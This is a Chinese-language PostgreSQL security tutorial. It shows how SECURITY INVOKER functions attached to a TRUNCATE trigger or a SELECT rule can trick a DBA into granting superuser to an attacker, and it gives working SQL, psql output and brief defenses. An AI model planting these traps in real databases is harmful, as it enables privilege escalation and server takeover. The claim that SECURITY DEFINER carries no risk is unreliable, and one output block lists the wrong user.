PostgreSQL 安全管理 函数调用陷阱攻击
1 背景知识
本章通过函数和触发器,误导DBA做一些常规操作从而获得超级用户的权限。
2 使用临时表进行提权
2.1 制作准备攻击函数触发器
1、攻击者可以创建一个新的函数,这个函数关联到一个临时表。
2、当DBA使用 TRUNCATE 命令清空表时,则触发函数。
3、函数内部包含了一个将user01 提权成超级用户的语句。
4、这样攻击者就成为了超级用户。
5、security invoker是指调用这个函数时使用调用者的权限,而不是函数owner的权限。
CREATE TABLE t_temp(id int);
CREATE OR REPLACE FUNCTION atack() RETURNS TRIGGER AS $
DECLARE
BEGIN
ALTER USER USER01 superuser;
RETURN NULL;
END;
$ language plpgsql SECURITY INVOKER;
CREATE TRIGGER atack_trigger BEFORE TRUNCATE ON t_temp
FOR EACH STATEMENT EXECUTE PROCEDURE atack();
2.2 执行TRUNCATE 语句
从以下结果得知:user01 已经被提权为 Superuser
。
postgres=# \du user01;
List of roles
Role name | Attributes | Member of
-----------+------------+------------------------
user01 | | {pg_read_server_files}
postgres=# TRUNCATE t_temp ;
TRUNCATE TABLE
postgres=# \du user01;
List of roles
Role name | Attributes | Member of
-----------+------------+------------------------
user01 | Superuser | {pg_read_server_files}
3 使用SELECT 查询提权
3.1 准备攻击表和函数规则
DROP TABLE pg_stat_statements;
CREATE TABLE pg_stat_statements(id int);
CREATE OR REPLACE FUNCTION atack_s() RETURNS VOID AS $
DECLARE
BEGIN
ALTER USER user02 SUPERUSER;
END;
$ language plpgsql SECURITY INVOKER;
CREATE RULE "_RETURN" AS ON SELECT TO pg_stat_statements DO INSTEAD SELECT 1 AS id FROM atack_s();
3.2 执行 SELECT 语句
从以下结果得知:user02 已经被提权为 SUPERUSER
。
postgres=# \du user02;
List of roles
Role name | Attributes | Member of
-----------+------------+------------------------
user01 | | {pg_read_server_files}
postgres=# SELECT * FROM pg_stat_statements;
//屏幕输出:
id
----
1
(1 row)
postgres=# \du user02;
List of roles
Role name | Attributes | Member of
-----------+------------+-----------
user02 | Superuser | {}
4 防止攻击的方法
1、函数的security invoker权限是很危险的,security definer则没有以上风险。
2、执行前确认表的定义情况。
postgres=# \d+ pg_stat_statements
View "public.pg_stat_statements"
Column | Type | Collation | Nullable | Default | Storage | Description
--------+---------+-----------+----------+---------+---------+-------------
id | integer | | | | plain |
View definition:
SELECT 1 AS id
FROM atack_s() atack_s(atack_s);
3、在事务中执行,出现问题则rollback,可以回退陷阱中的操作。